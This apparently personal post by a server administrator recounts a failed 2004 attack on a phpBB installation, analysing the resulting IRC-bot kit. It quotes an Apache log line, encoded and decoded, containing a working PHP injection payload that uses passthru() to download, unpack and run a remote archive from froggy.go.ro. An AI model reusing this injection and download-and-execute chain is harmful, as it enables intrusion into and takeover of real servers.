Didn't post about it until now, but I quite quickly found the hole I posted about. There were a few instances of phpBB running on the server, and on a hunch I did some googling which turned up a few recent vulnerabilities. Another clue, which I found later, was a bunch of entries in the apache log like this:

[30/Nov/2004:17:08:23 -0500] "GET /phpBB/viewtopic.php?t=%35&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%63%64%20%2F%74%6D%70%2F%20%3B%20%77%67%65%74%20%66%72%6F%67%67%79%2E%67%6F%2E%72%6F%2F%6D%2E%74%67%7A%3B%20%74%61%72%20%78%7A%76%66%20%6D%2E%74%67%7A%20%3B%20%63%64%20%2E%73%58%3B%20%2E%2F%69%6E%73%74%3B%20%72%6D%20%2D%72%66%20%6D%2E%74%67%7A%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 HTTP/1.1" 200 29331
  

Which you can only really see the implications of when you decode them:

[30/Nov/2004:17:08:23 -500] "GET /phpBB/viewtopic.php?t=5&rush=echo _START_; cd /tmp/ ; wget froggy.go.ro/m.tgz; tar xzvf m.tgz ; cd .sX; ./inst; rm -rf m.tgz; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27 HTTP/1.1" 200 29331
  

Also found the perl script they used to send the request.

I downloaded a copy of m.tgz, and a quick look at it revealed that our server would have become an irc-controlled bot, with a couple of daemons disguised as 'httpd' and 'portsentry' executables (so as not to be too obvious in the 'ps' output) -- except that on Debian, apache shows up as 'apache', so I think I'd have noticed them.

All in all, we were an easy target, but because 'wget' wasn't installed and the attack was automated (i.e. not smart enough to 'apt-get install wget'), we survived. *sigh-of-relief*